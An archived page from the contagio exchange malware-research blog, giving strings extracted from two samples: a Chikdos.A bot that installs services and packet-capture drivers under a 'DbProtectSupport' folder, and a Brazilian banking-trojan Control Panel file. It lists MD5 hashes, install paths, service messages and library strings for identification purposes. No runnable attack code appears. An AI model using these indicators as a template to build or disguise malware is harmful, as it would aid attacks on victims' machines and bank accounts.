About contagio exchange

CONTAGIO EXCHANGE Contagio exchange was created to absorb malware samples shared by readers of Contagio. This is meant to be a community driven malware collection.
Edit Aug 2013 - The community is busy and Mila too so this was not a very active site (my fault probably) so I will be just dumping malware strings here - it often helps in malware identification and googling is the best way.
With just strings, not exactly a fun blog to read but might become s useful resource over time.
I will not be posting samples here, just md5. You can find the corresponding samples on contagio or ping me if you can't find
M
P.S. Robot pictures delivered by Robohash.com (generated from file hashes)

Sunday, December 29, 2013

Chikdos.A - CRIME strings

File: Chikdos_10E7876FD639EA81767315CD178873C0_59870.exe_Win
MD5:  10e7876fd639ea81767315cd178873c0
Size: 579584

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Rich+w
.text
`.rdata
@.data
.rsrc
@.reloc
QSUV
SUVW
9\$,r
D$49\$Hs
D$4PUh
D$49\$Hs
D$4P
|$49\$Hs
9\$Hs
D$4h
D$TP
D$49\$Hs
D$4P
9\$Hr
L$4Q
Y_^][
u"h<
u"h`
D$$Vh
 SUVW
D$$;
_^][
T$(+T$$u
L$$j
PWQV
T$(+T$$u
+D$$u
T$$3
QWRV
D$$;
_^][
j,h4
j-h|
D$l9
D$lj
9t$,s
9t$,s
9t$,s
D$49t$Hs
D$4Pji
9t$ds
D$PPjj
9t$,s
9t$,s
9t$,s
9t$Hs
D$4j
9t$,s
9t$,r
9t$dr
L$PQ
9t$Hr
T$4R
D$lP
Y_^[
t$$j
D$Hd
L$$Q
D$(d
D$83
L$(d
PQVW
|$ W
D$$P
Y_^[
WUQP
SUVWh
D$$PS
_^][
0WWWWW
X_^]
h$0A
_^[]
tG9}
0WWWWW
VVVVV
^[_3
54AA
PPPPP
WWWWW
@uwV
WWWWW
WWWWW
@uwV
WWWWW
SSSSS
Ph`0A
WWWWW
_^[]
WWWWW
=@AA
QQSVWd
QSVW
5@BA
=<BA
%0BA
-,BA
QSVW
5lDA
0SSSSS
_^[]
t&:a
5@]A
5$MA
=P4A
uNSW
PPPPP
@u^V
, <Xw
t%HHt
HHtXHHt
HHty+
RPSW
90tV
>If90t
WSj0
WSj
Y__^[
35`0A
9csm
h`0A
h`0A
^_[3
% MA
F\=P
teh7]@
WWWWW
j@j ^V
[j@j
5 LA
VVVVV
<at9<rt,<wt
SSSSS
tVHtG
tEHt1
>=upF
SSSSS
;5@]A
URPQQh
L$,3
UVWS
[_^]
SVWj
hCj@
_^[]
WWWWW
~,WPV
;5@]A
98t^
tVPV
t/9U
8csm
=P0A
VVVVV
PPPPP
<v8V
VVVVV
VVVVV
VVVVV
=P0A
S99t
58AA
58AA
>=Yt1j
tNVSP
PPPPP
58AA
%8AA
Y[_^
>"u&
< tK<
@@f9
@@f9
SSS+
@PWSS
t!SS
5`0A
5d0A
@_^]
=MOC
=csm
8csm
9csm
~SSV
j,hP
~@;H
>csm
taSV
YYPV
t)SV
Hu4j
>MOC
s[S;7|G;w
9>u&
tR99u2
r,9Y
@_^[]
oV f
o^0f
of@f
onPf
ov`f
o~pf
ueSj
@_^[
 VW}
j?^;
%HJA
u,9E
WWWWW
VVVVV
0A@@Ju
=H>A
Y_^[]
_^[]
Fpt"
^SSSSS
j"^SSSSS
QSWVj
N+D$
_^[]
Y_^[
Y_^[
SSSSS
SSSSS
tl9]
tC9]
Ht$C
CC@@
Ht(f
CC+]
VVVVV
WWWWW
WWWWW
VVVVV
VVVVV
VVhU
WWWWW
SSSSS
tGHt.Ht&
^SSSSS
;t0;
8VVVVV
t(9u
SSSSS
SSSSS
ti9]
6f;p
r0f;p
tH9]
6f;H
r0f;H
u!f;
SSSSS
SSSSS
tA9]
t_8]
t 9]
SVWUj
]_^[
;t$,v-
UQPXY]Y[
=P0A
VW|[;
=P0A
_^[]
VVVVV
j@j
SSSSS
j h8
t+Ht
PPPPP
0SSSSS
_^[]
_^[]
0SSSSS
VVVVV
WWWWW
uaVj
uL9=PJA
wIVSP
9=PJA
FVSj
u8SS3
GWhT
9] u
9]$SS
t)9]
t"SS9]
9] u
FVhT
9] SS
v$;5,?A
PPPPPPPP
tR:Q
t<:Q
t&:Q
PPPPPPPP
WWWWW
u+9u
95P?A
=P?A
5P?A
~%9M
r 8^
SVW3
_^[u
VVVVV
VW9]
SSSSS
SSSSS
u99u
VVVVV
WWWWV
t<Vj
t+WWVPV
string too long
invalid string position
Unknown exception
(null)
( 8PX
700WP
`h````
xpxxxx
EncodePointer
DecodePointer
FlsFree
FlsSetValue
FlsGetValue
FlsAlloc
UTF-8
UTF-16LE
UNICODE
CorExitProcess
runtime error
TLOSS error
SING error
DOMAIN error
R6034
An application has made an attempt to load the C runtime library incorrectly.
Please contact the application's support team for more information.
R6033
- Attempt to use MSIL code from this assembly during native code initialization
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
R6032
- not enough space for locale information
R6031
- Attempt to initialize the CRT more than once.
This indicates a bug in your application.
R6030
- CRT not initialized
R6028
- unable to initialize heap
R6027
- not enough space for lowio initialization
R6026
- not enough space for stdio initialization
R6025
- pure virtual function call
R6024
- not enough space for _onexit/atexit table
R6019
- unable to open console device
R6018
- unexpected heap error
R6017
- unexpected multithread lock error
R6016
- not enough space for thread data
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
R6009
- not enough space for environment
R6008
- not enough space for arguments
R6002
- floating point support not loaded
Microsoft Visual C++ Runtime Library
<program name unknown>
Runtime Error!
Program:
bad exception
 Complete Object Locator'
 Class Hierarchy Descriptor'
 Base Class Array'
 Base Class Descriptor at (
 Type Descriptor'
`local static thread guard'
`managed vector copy constructor iterator'
`vector vbase copy constructor iterator'
`vector copy constructor iterator'
`dynamic atexit destructor for '
`dynamic initializer for '
`eh vector vbase copy constructor iterator'
`eh vector copy constructor iterator'
`managed vector destructor iterator'
`managed vector constructor iterator'
`placement delete[] closure'
`placement delete closure'
`omni callsig'
 delete[]
 new[]
`local vftable constructor closure'
`local vftable'
`RTTI
`udt returning'
`copy constructor closure'
`eh vector vbase constructor iterator'
`eh vector destructor iterator'
`eh vector constructor iterator'
`virtual displacement map'
`vector vbase constructor iterator'
`vector destructor iterator'
`vector constructor iterator'
`scalar deleting destructor'
`default constructor closure'
`vector deleting destructor'
`vbase destructor'
`string'
`local static guard'
`typeof'
`vcall'
`vbtable'
`vftable'
operator
 delete
 new
__unaligned
__restrict
__ptr64
__clrcall
__fastcall
__thiscall
__stdcall
__pascal
__cdecl
__based(
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
('8PW
700PP
`h`hhh
xppwpp
GetProcessWindowStation
GetUserObjectInformationA
GetLast
ActivePopup
GetActiveWindow
MessageBoxA
USER32.DLL
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
HH:mm:ss
dddd, MMMM dd, yyyy
MM/dd/yy
December
November
October
September
August
July
June
April
March
February
January
Saturday
Friday
Thursday
Wednesday
Tuesday
Monday
Sunday
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
CONOUT$
.bak
pszTgtFile(%s)
strTgtBak(%s)
Windows NT
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 32s
Windows Unknown
CreateService OpenSCManager Failed %d
CreateService CreateService Failed %d
DeleteService OpenSCManager Failed %d
DeleteService OpenService Failed %d
StartService OpenSCManager Failed %d
StartService OpenService Failed %d
StopService OpenSCManager Failed %d
StopService OpenService Failed %d
%s - %d
C:\Program Files\DbProtectSupport
C:\Program Files\DbProtectSupport\npf.sys
C:\Program Files\DbProtectSupport\Packet.dll
2008
2003 sys %d
C:\Program Files\DbProtectSupport\svchost.exe
DbProtectSupport
UnInstallService DbProtectSupport %d
UnInstallService NPF %d
dm1712/`jvpnpkte/bpl
68961
InstallService NPF %d
InstallService DbProtectSupport %d
vector<T> too long
bad allocation
RSDSxxy
E:\SVN\trunk\2014\
\IntergrateCHK\Release\IntergrateCHK.pdb
GetModuleFileNameA
FindResourceA
LoadResource
SizeofResource
DeleteFileA
CreateFileA
WriteFile
CloseHandle
GetVersionExA
GetLastError
Sleep
SetFilePointer
GetSystemWow64DirectoryA
CreateDirectoryA
KERNEL32.dll
OpenSCManagerA
CreateServiceA
CloseServiceHandle
OpenServiceA
DeleteService
StartServiceA
ControlService
ADVAPI32.dll
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
GetCommandLineA
RaiseException
RtlUnwind
HeapFree
HeapAlloc
EnterCriticalSection
LeaveCriticalSection
GetModuleHandleW
GetProcAddress
TlsGetValue
TlsAlloc
TlsSetValue
TlsFree
InterlockedIncrement
SetLastError
GetCurrentThreadId
InterlockedDecrement
SetHandleCount
GetStdHandle
GetFileType
GetStartupInfoA
DeleteCriticalSection
ExitProcess
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
HeapCreate
VirtualFree
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
VirtualAlloc
HeapReAlloc
HeapSize
GetCPInfo
GetACP
GetOEMCP
IsValidCodePage
MultiByteToWideChar
ReadFile
InitializeCriticalSectionAndSpinCount
GetConsoleCP
GetConsoleMode
SetStdHandle
FlushFileBuffers
LoadLibraryA
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
GetLocaleInfoA
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
SetEndOfFile
GetProcessHeap
.?AVout_of_range@std@@
.?AVtype_info@@
.?AVbad_exception@std@@
                       
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                       
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AVexception@std@@
.?AVlogic_error@std@@
.?AVlength_error@std@@
.?AVbad_alloc@std@@
.?AVCLZSS@@
!Thi
s progra
m cannot
 be run
in DOS m
ode.
.text
`.rda
.rsr
6,.@
.reloB
2?D?V?h?z?
bIWnH
|$ W
IBG3
wP wP
@H9RHD
H4NC3
Ah _D
7BS3
NC^@
:Q\$|
\$lO
`uAhP
~@Lg$p
0P9@P
>Zsj
9l$,r
D$,9R\$(
pT$4
Q9-n
QhHQp
t$@+
9t$}d
Fo P
pD_$lP
aPV][\
Q#`[
PN f
NK^@;b
QhPQpR
|$0*7r
qXQpQ
09Jb
`?JN
@8SH
JVo3
cOuIt$
+N 3
F)q.
~@F}
YN@0./
{UVI
0UVA0SD4,L0*
KWUV0<
sM9
y&VP
@fpP
qeec
PQRV
'RhQ
Rpu@
y@~}B
 }\3
#?56
t0SR
tFzb
V QR
]# ]#e$
o,QV
\ t<r
oh<_D
 p)Apn
] SU0
@L$<+L?$8u
U8OP(P(R
#6x$v
@0u<@0@@0D
!@0
1~@;
2D$L
3DCz
2L$\
/ IhtI
9t$
0`38
0Ka+
}cc3
H`?"l
][H`
4vAp
*Ka0,
@'Q(
HQe"
y%}&
L$49
<P(_!HR
j^5(sA8
"l$4+_
Hfj L\
`MQd
^54"
dPhKah
j  p0
,p00p04
@j \%
`t~!
P?dWQ
'rG?8
PTpL
V@P#_!<
Y"@_!@R
QHj D
t~#T
R2CX2S
]"Yc?u?C
V QR
R2F{
b@&s
}p>a
~e R
eD$`
;~Tt
`I0T
HP+H
gffwf
qO +O
p;|$
#>q0r
yG0q
SP_+SL
G0JU04R3
PP^I
"D$p
tpRQ
QRUV
VPUE
SV#X
8>p3
'e^2`
VR`#X
5laj
0`6c>c
xX0!`M
SWVP
$QRP
^&q_
+a6e
s!\^fP
as 3
PQRQw
%BRPSv
lhb;
4l$t
{HAJ
WQWV
QP?Q+
,RQH
p&q(j
hh:s-(Aq,
S"v0W
9|$,u?
=bra6_
?'QUW
F%4t
j&q$
pT/rB
$Aq(@
tD$t
V2Lj
t$}0=
:s4Aq8
9*u |
N/0,
8X,u
8Z,tnH0
^,H0k
Y,Po
23`/
"Q!t$
^-u<
8_-t
WV{P
QWQR7
n U+
,QH`
vA_
Xp \p
(u V(
#auo
OWpV[p
|$Hzw
\$Tw
T$ ;
L$dQ
`T$$
\$ {
t$`V.Z
/@(;
X`^T
P!/@T
+L$WL
t$8+t$4
3A8VW
T$4E
4A;
u(+!
aWPQ
P3,/<
/@$;!
;^&!
tP03
IP1t
Hnc@R
t!5Q
P5QzbaQ:
d0`
Q#0{
yDBO
tP&0
b#GQc
I #G
!zSU
 4:`
L$tSPVPg
Jd08Y-,0Q
F,B0v
08_n1O
yy8O
a?R0u
l?~;
Ayt@
r6A91s
_]=[
_]a]
aawR
Ia9g
!9t$
0?PQ
 rRaW
aa[VPm
&7q+
,sPV
T$HR
D_$HP
Dj!`{hph
|?$$
4#>.
_GX3
0GlP
ws@T
z{P+
P\$H
TP:RP
RD$?
caf`S
u)h|
9^Hr
ue^sMFeqF4
`<.t
T$Ts
L$hP
D$/\
QRUP
=x!3
Q3qg
hpqp
D$L@
+L$`
_P(-
C ;VQ,
P#:D
gfff
|I@V
H +H
K +K
$E!N
'1~8@
 +OT/f"
'1_2
\$]$d?
a'1D
eAW~w"
JeO:wO%
(CSU
-----------------------------------------------------------------snip
8C:I:N:T:[:m:
<*<E<b<
h1l1p1t1x1
24282\2`2
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
l0p0
1,10141<1T1d1h1x1|1
2$2<2L2P2X2p2
3 3@3H3P3T3X3`3t3
4,404P4p4
5 5@5`5
6$60686h6p6t6
7$7(7D7H7h7
8$8(8H8d8h8
909P9p9
: :(:,:4:<:l:|:
;(;4;T;`;
0$0(0,000
1p4t4
5$5,545<5D5L5T5\5d5l5t5|5
<h<x<
=@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?$?(?,?8?

Unicode Strings:
---------------------------------------------------------------------------
jjjjj
A(null)
KERNEL32.DLL
mscoree.dll
         (((((                  H
         h((((                  H
                                 H
imes
\Ll|
TDdt

Tuesday, November 12, 2013

Brazilian Bamker _ C__Internet_Banking.cpl - strings - CRIME

File: C__Internet_Banking.cpl
MD5:  563707b4edcc0bb0c88365a6702d4ba0
Size: 192000

Ascii Strings:
---------------------------------------------------------------------------
This program must be run under Win32
CODE
`DATA
.idata
.edata
P.reloc
P.rsrc
Boolean
False
True
Integer
String
TObject
TObject
System
IInterface
System
TInterfacedObject
%|qB
%xqB
%tqB
%pqB
%lqB
%hqB
%dqB
%`qB
%\qB
%XqB
%TqB
%PqB
%LqB
%HqB
%DqB
%@qB
%<qB
%8qB
%4qB
%0qB
%,qB
%(qB
%$qB
% qB
u:hD
SVWUQ
Z]_^[
SVWU
YZ]_^[
SVWU
]_^[
SVWU
w;;t$
]_^[
SVWU
]_^[
SVWUQ
Z]_^[
SVWU
YZ]_^[
SVWU
uW;{
u:;{
]_^[
=E`B
ZYYd
=E`B
=E`B
ZYYd
=E`B
SVWU
]_^[
YZ^[
SVWU
]_^[
Uh "@
=E`B
ZYYd
h'"@
=E`B
_^[YY]
QSVW
=E`B
ZYYd
=E`B
_^[Y]
SVWU
$;L$
$)D$
YZ]_^[
QSVW
Uhe&@
=E`B
ZYYd
hl&@
=E`B
_^[Y]
YZXu
=(`B
r/f=
w)f%
uENt
u0Nt
u%Nt
~KxI[)
2_^[
S!-@
S!-@
@v:k
@aQY
E@|o
BkU'9
ZYYd
SOFTWARE\Borland\Delphi\RTL
FPUMaskValue
-  B
SVW3
ZYYd
_^[YY]
2;0u
SVW1
SVW1
=( B
=( B
PPRTj
=( B
=( B
=( B
YYZX
=( B
=( B
=, B
=( B
=, B
=( B
YZXtp
VWUd
SPRQ
T$(j
Ph 5@
SVWU
]_^[
=, B
=( B
=, B
=( B
YZXtm1
SPRQ
SVWU
]_^[
ZTUWVSPRTj
]_^[
d$,1
,t\=
t=HtN
r6t0
t.Ht
=( B
ZYYd
_^[]
Uh&:@
ZYYd
_^[]
-DfB
=,`B
=  B
=D`B
= bB
hl B
hh<@
=0 B
hd B
hl B
SVWU
=$`B
]_^[
_^[]
;_^[
SVWU
]_^[
t!R:
t-Rf;
t f;J
SVWRP
Z_^[X
uXJt
uAJt
u:Jt
It2S
t&J|
N|*9
t1SVW
;_^[
SVWU
]_^[
t-Rf;
t f;J
uAJt
_^[]
]_^[
PSVW
_^[X
_^[X
SVWU
]_^[
]_^[
SVWU
]_^[
]_^[
8\u8
kernel32.dll
GetLongPathNameA
h0R@
hPR@
ZYYd
Software\Borland\Locales
Software\Borland\Delphi\Locales
58 B
UhSS@
ZYYd
_^[YY]
ZYYd
FFF;M
^[YY]
tl;u
B@;u
t0;u
Uh{W@
ZYYd
^[Y]
ZYYd
h&X@
^[Y]
UhoX@
ZYYd
hvX@
^[Y]
Uh:Y@
ZYYd
hAY@
ZYYd
u*PR
5dfB
Uh)\@
ZYYd
h0\@
-hfB
Uha\@
ZYYd
hh\@
-pfB
HICON
%|rB
%xrB
%trB
%prB
%lrB
%hrB
%drB
%`rB
%\rB
%XrB
%TrB
%PrB
%LrB
%HrB
%DrB
%@rB
%<rB
%8rB
%4rB
%0rB
%,rB
%(rB
%$rB
% rB
%<sB
%8sB
%4sB
%0sB
%,sB
%(sB
%$sB
% sB
%xsB
%|sB
%tsB
%psB
%lsB
%hsB
%dsB
%`sB
%\sB
%XsB
%TsB
%PsB
%LsB
%HsB
%DsB
UhA`@
ZYYd
hH`@
-tfB
UhYc@
ZYYd
h`c@
-xfB
Exception d@
EHeapException
EOutOfMemory
EInOutError0e@
EExternal
EExternalException
EIntError
EDivByZero
ERangeError
EIntOverflow
EMathError
EInvalidOp
EZeroDivideTh@
EOverflow
EUnderflow
EInvalidPointer`i@
EInvalidCast
EConvertError
EAccessViolation
EPrivilege
EStackOverflow
EControlC
EVariantError
EAssertionFailed
EAbstractError
EIntfCastError
EOSError
ESafecallException
SysUtils
SysUtils
TThreadLocalCounter
=?Xn@
$TMultiReadExclusiveWriteSynchronizer
SVWU
]_^[
0<:r
True
False
QSVW
_^[Y]
TStrData
UhZv@
ZYYd
hav@
^[YY]
@w2j
SVWQ
PWVS
$Z_^[
SVWQ
PWVS
$Z_^[
^[YY]
QQQQS
ZYYd
SVWU
]_^[
(_^[
<*t"<0r=<9w9i
_^[[
_^[]
INFNAN
QS<$t
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
<sGf
<sAf
^YY]
'w~f
f;\F
_^[YY]
@YY]
=DgB
ZYYd
ZYYd
yyyy
t%HtIHtm
ZYYd
AM/PM
AMPM
AAAA
SVW3
ZYYd
_^[YY]
SVWQ
Z_^[
SVWUQ
$Z]_^[
=@gB
SVW3
8gu4
=HgB
ZYYd
SVWU
]_^[
SVWQ
Z_^[
QSVW
_^[Y]
QQQQQQSVW3
ZYYd
ZYYd
^[Y]
ZYYd
QQQQQSVW
ZYYd
yyyy
eeee
D$DP
D$HP
D$PPj
D$LPj
ZYYd
_^[Y]
ZYYd
_^[YY]
TErrorRec
YZ^[
TExceptRec
SVW3
ZYYd
,tY=
t<HtH
r3t7
t(Ht
ZYYd
ZYYd
=HgB
=HgB
=HgB
u#;]
=HgB
K;\$
$YZ^[
=HgB
$YZ^[
=HgB
=HgB
=HgB
SVWU
]_^[
SVWU
WUWSj
YZ]_^[
ZYYd
QSVW
_^[Y]
Y_^[
=HgB
ZYYd
m/d/yy
mmmm d, yyyy
 AMPM
AMPM
:mm:ss
ZYYd
ZYYd
=@!B
kernel32.dll
GetDiskFreeSpaceExA
SVWU
]_^[
SVWUQ
(Z]_^[
SVWUQ
;w$t|
Z]_^[
;F$t=
;C$t4
ZYYd
_^[Y]
FSVWU
]_^[
ZYYd
=]fB
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
[YY]
ZYYd
ZYYd
ZYYd
oleaut32.dll
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarOr
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
ZYYd
TCustomVariantType
TCustomVariantTypeP
Variants
EVariantInvalidOpError
EVariantTypeCastError
EVariantOverflowError
EVariantInvalidArgError
EVariantBadVarTypeError
EVariantBadIndexError
EVariantArrayLockedError
EVariantArrayCreateError
EVariantNotImplError
EVariantOutOfMemoryError
EVariantUnexpectedErrort
EVariantDispatchError
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
t?Htb
ZYYd
ZYYd
|kC3
|kC3
SVWQ
Z_^[
QQQQSV
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
=$#B
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
=$#B
ZYYd
=,#B
E@#B
Empty
Null
Smallint
Integer
Single
Double
Currency
Date
OleStr
Dispatch
Error
Boolean
Variant
Unknown
Decimal
ShortInt
Byte
Word
LongWord
Int64
SVW3
ZYYd
String
Array
ByRef
Variants
h$hB
ZYYd
h$hB
SVWQ
Z_^[
_^[YY]
QSVW
_^[Y]
SVWUQ
Z]_^[
h$hB
ZYYd
h$hB
QSVW
= hB
t~h$hB
ZYYd
h$hB
_^[Y]
SVW3
h$hB
|PF3
ZYYd
h$hB
ZYYd
h$hB
ZYYd
h$hB
ZYYd
ZYYd
-<hB
False
True
ZYYd
_^[Y]
SVW3
ZYYd
_^[YY]
$YZ^[
ZYYd
-@hB
ZYYd
-DhB
TNotifyEvent
Sender
TObject
EStreamError
EFileStreamError
EFCreateError
EFOpenError
EFilerErrorp
EReadError
EWriteError
EClassNotFound
EResNotFound
EListError
EStringListError
EComponentError
EOutOfResourcesH
EInvalidOperation
TList
TThreadListd
TPersistent
TPersistentd
Classes
TInterfacedPersistent
TInterfacedPersistentT
Classes
IStringsAdapter
Classes
TStrings
TStrings@
Classes
TStringItem
TStringList
TStringListp
Classes
TStream
THandleStream
TFileStream
TCustomMemoryStream`
TMemoryStream
TResourceStreamT
TClassFinder
TFiler
TReader
EThread
TThread
TComponentName
TComponent
TComponent
Classes
Name(
TDataModule
TDataModulep
Classes
OldCreateOrder0
OnCreate0
OnDestroy
TIdentMapEntry
TRegGroup
TRegGroups
QSVW
_^[Y]
SVWUQ
|!F3
u%CNu
Z]_^[
SVWUQ
$Z]_^[
SVWU
]_^[
SVWUQ
|%C3
Z]_^[
SVWU
]_^[
|3F3
|+F3
ZYYd
|)C3
#FKu
ZYYd
_^[YY]
ZYYd
ZYYd
ZYYd
TIntConst
QSVW
ZYYd
_^[Y]
QSVW
_^[Y]
_^[YY]
=`hB
=LhB
QSVW
tMWj
ZYYd
_^[Y]
ZYYd
ZYYd
ZYYd
YZ^[
Uh4$A
ZYYd
h;$A
^[Y]
SVWU
]_^[
ZYYd
Uh4'A
ZYYd
h;'A
ZYYd
ZYYd
SVW3
Uha)A
hx)A
ZYYd
hh)A
ZYYd
SVWU
]_^[
SVW3
|-F3
W<CNu
ZYYd
ZYYd
Uhp,A
ZYYd
^[Y]
Ph`7A
[YY]
Strings
SVW3
|0F3
ZYYd
YZ^[
ZYYd
_^[Y]
SVW3
Uhl/A
UhJ/A
ZYYd
hQ/A
ZYYd
hs/A
ZYYd
SVW3
ZYYd
SVW3
Uh|1A
ZYYd
UhS2A
ZYYd
hZ2A
SVWU
]_^[
QSVW
S$_^[Y]
ZYYd
ZYYd
ZYYd
^[YY]
SVW3
Uhi4A
UhL4A
ZYYd
hS4A
ZYYd
hp4A
_^[YY]
SVWUQ
SdZ]_^[
UhT5A
Uh/5A
ZYYd
h65A
ZYYd
h[5A
ZYYd
ZYYd
^[Y]
ZYYd
^[Y]
UhP7A
Uh37A
ZYYd
h:7A
ZYYd
hW7A
[YY]
SVW3
ZYYd
SVWUQ
$Z]_^[
SVWU
]_^[
$Z^[
Sd^[
_^[]
_^[]
^[YY]
ZYYd
Uh8BA
ZYYd
h?BA
[YY]
SVW3
UhyDA
ZYYd
SVWU
~,;{
]_^[
_^[]
UhkGA
ZYYd
hrGA
QSVW
_^[Y]
_^[]
TPropFixup
TPropIntfFixup
SVWU
]_^[
ZYYd
^[Y]
SVW3
UhZKA
ZYYd
haKA
_^[YY]
Owner
UhvMA
UhWMA
YF;w
ZYYd
|*C3
ZYYd
h^MA
ZYYd
h}MA
ZYYd
=dhB
Uh?NA
ZYYd
hFNA
_^[YY]
QSVW
=dhB
ZYYd
_^[Y]
ZYYd
ZYYd
_^[]
SVW3
ZYYd
ZYYd
C0_^[
SVWU
]_^[
ZYYd
ZYYd
^[Y]
Classes
|\F3
_^[]
QSVW
|AF3
_^[Y]
SVW3
UhFXA
ZYYd
ZYYd
_^[]
SVW3
ZYYd
_^[]
SVW3
ZYYd
_^[]
SVW3
Uhc[A
ZYYd
ZYYd
ZYYd
ZYYd
UhK\A
ZYYd
h\\A
Uh"]A
ZYYd
h)]A
False
True
Null
$YZ[
Uh=aA
ZYYd
hDaA
SVW3
Uh8cA
ZYYd
ZYYd
ZYYd
h?cA
_^[YY]
_^[]
QQQQ3
ZYYd
h&dA
ZYYd
ZYYd
%s_%d
SVW3
UhokA
UhMkA
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
hTkA
ZYYd
hvkA
SVW3
Uh*lA
ZYYd
ZYYd
h1lA
_^[YY]
UhImA
ZYYd
hPmA
^[YY]
Uh/nA
ZYYd
h6nA
ZYYd
ZYYd
Uh%qA
ZYYd
h,qA
ZYYd
SVW3
Uh}rA
ZYYd
$Z^[
Uh5uA
ZYYd
ZYYd
ZYYd
h<uA
B^*L
QQQQQQQS
UhNwA
ZYYd
hUwA
SVWQ
Z_^[
Uh!yA
ZYYd
h(yA
^[Y]
hhhB
htyA
=PhB
hhhB
hhhB
Uhj{A
UhK{A
hhhB
ZYYd
ZYYd
hhhB
ZYYd
hR{A
ZYYd
hq{A
hhhB
QSVW
ZYYd
ZYYd
_^[Y]
ZYYd
ZYYd
 hhhB
hhhB
ZYYd
hhhB
ZYYd
hhhB
ZYYd
SVWUQ
Z]_^[
QSVW
_^[Y]
Left
u6;_
S _^[
SVWUQ
|"C3
Z]_^[
YZ_^[
SVWUQ
Z]_^[
_^[]
ZYYd
_^[]
ZYYd
ZYYd
ZYYd
QSVW
ZYYd
_^[Y]
QSVW
ZYYd
_^[Y]
^[YY]
Height
HorizontalOffset
VerticalOffset
Width
_^[YY]
C0^[
C8^[
C<^[
C4^[
ZYYd
-ThB
ZYYd
ZYYd
TColor
EInvalidGraphic
EInvalidGraphicOperation
TFontCharset
TGraphic
TGraphic
Graphics
TSharedImage
TIconImage
TIcon
TIconh
Graphics
TResourceManager
clBlack
clMaroon
clGreen
clOlive
clNavy
clPurple
clTeal
clGray
clSilver
clRed
clLime
clYellow
clBlue
clFuchsia
clAqua
clWhite
clMoneyGreen
clSkyBlue
clCream
clMedGray
clActiveBorder
clActiveCaption
clAppWorkSpace
clBackground
clBtnFace
clBtnHighlight
clBtnShadow
clBtnText
clCaptionText
clDefault
clGradientActiveCaption
clGradientInactiveCaption
clGrayText
clHighlight
clHighlightText
clHotLight
clInactiveBorder
clInactiveCaption
clInactiveCaptionText
clInfoBk
clInfoText
clMenu
clMenuBar
clMenuHighlight
clMenuText
clNone
clScrollBar
cl3DDkShadow
cl3DLight
clWindow
clWindowFrame
clWindowText
ANSI_CHARSET
DEFAULT_CHARSET
SYMBOL_CHARSET
MAC_CHARSET
SHIFTJIS_CHARSET
HANGEUL_CHARSET
JOHAB_CHARSET
GB2312_CHARSET
CHINESEBIG5_CHARSET
GREEK_CHARSET
TURKISH_CHARSET
HEBREW_CHARSET
ARABIC_CHARSET
BALTIC_CHARSET
RUSSIAN_CHARSET
THAI_CHARSET
EASTEUROPE_CHARSET
OEM_CHARSET
ZYYd
ZYYd
Default
EL&B
ZYYd
ZYYd
ZYYd
YZ_^
YZ^[
E\&B
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
_^[YY]
ZYYd
ZYYd
ZYYd
ZYYd
TjTP
C ;C$s
T_^[
ZYYd
ZYYd
ZYYd
@DPU
[YY]
Data
$ZXu
ZYYd
ZYYd
ZYYd
ZYYd
:P!t
ZYYd
ZYYd
ZYYd
ZYYd
ZYYd
QSVW
ZYYd
C(_^[Y]
\$4Vj
SVWjH
TPatternManagerSV
ZYYd
ZYYd
ZYYd
ZYYd
EAppletException
TActivateEvent
Sender
TObject
Data
Integer
TStopEvent
Sender
TObject
Data
Integer
TInquireEvent
Sender
TObject
idIcon
Integer
idName
Integer
idInfo
Integer
lData
Integer
TNewInquireEvent
Sender
TObject
lData
Integer
hIcon
HICON
AppletName
String
AppletInfo
String
TStartWParmsEvent
Sender
TObject
Params
String
TAppletModule
TAppletModule
CtlPanel
OnStop
OnActivatet
OnInquire
OnNewInquirep
OnStartWParms@
Caption
AppletIcon@
Help(
ResidIcon(
ResidName(
ResidInfo
TAppletApplication
TAppletApplication
CtlPanel
ZYYd
_^[YY]
SVW3
Ht;HtVH
HtQ-
ZYYd
ZYYd
ZYYd
_^[YY]
ZYYd
ZYYd
TCustomZStream
TZDecompressionStream
EZLibError
EZDecompressionError
